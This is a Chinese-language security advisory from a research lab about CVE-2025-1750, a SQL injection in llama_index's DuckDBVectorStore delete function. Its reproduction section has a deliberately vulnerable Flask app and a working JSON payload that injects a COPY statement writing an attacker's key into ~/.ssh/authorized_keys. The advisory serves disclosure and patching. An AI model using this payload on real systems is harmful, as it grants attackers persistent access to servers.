此文章原创作者为源鲁安全实验室,转载请注明出处!此文章中所涉及的技术、思路和工具仅供网络安全学习为目的,不得以盈利为目的或非法利用,否则后果自行承担!
01
漏洞描述
run-llama/llama_index中DuckDBVectorStore的delete函数存在SQL注入漏洞。该漏洞允许攻击者操纵ref_doc_id参数,从而在服务器上读取和写入任意文件,可能导致远程代码执行 (RCE)。
02
影响版本
llama_index < 0.3.1
03
漏洞复现
from flask import Flask, request, jsonify, render_template
import os
import numpy as np
from llama_index.vector_stores.duckdb import DuckDBVectorStore
from llama_index.core.schema import TextNode
app = Flask(__name__)
persist_dir = "./persist"
os.makedirs(persist_dir, exist_ok=True)
vector_store = DuckDBVectorStore("chatbot.duckdb", persist_dir=persist_dir,recreate_table=True)
def add_document(doc_id, text, category):
embedding = np.random.rand(1536).tolist()
text_node = TextNode(id_=doc_id, text=text, embedding=embedding, metadata={"category": category})
vector_store.add([text_node])
add_document("doc_1", "Machine learning is amazing!", "AI")
add_document("doc_2", "Deep learning improves natural language processing.", "NLP")
add_document("doc_3", "DuckDB is great for handling large datasets.", "Database")
def ask():
data = request.get_json()
doc_id = data.get('doc_id')
vector_store.delete(ref_doc_id=doc_id)
return jsonify({'message': "ok"})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7000)
pip install flask numpy llama-index-vector-stores-duckdb
{"doc_id":"doc1';COPY (SELECT '[publickey]') TO '~/.ssh/authorized_keys';-- -"}
04
修复建议
将llama_index升级至最新版本。
链接:https://github.com/run-llama/llama_index
05
引用
https://huntr.com/bounties/e1302233-9180-4269-9047-1526247d2cd8
https://github.com/run-llama/llama_index/commit/369a2942df2efcf6b74461c45d20a0af1fbe4ae2
END
1
来都来了,点个赞再走吧~~~
原文始发于微信公众号(源鲁安全实验室):【漏洞预警】llama_index SQL注入漏洞(CVE-2025-1750)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论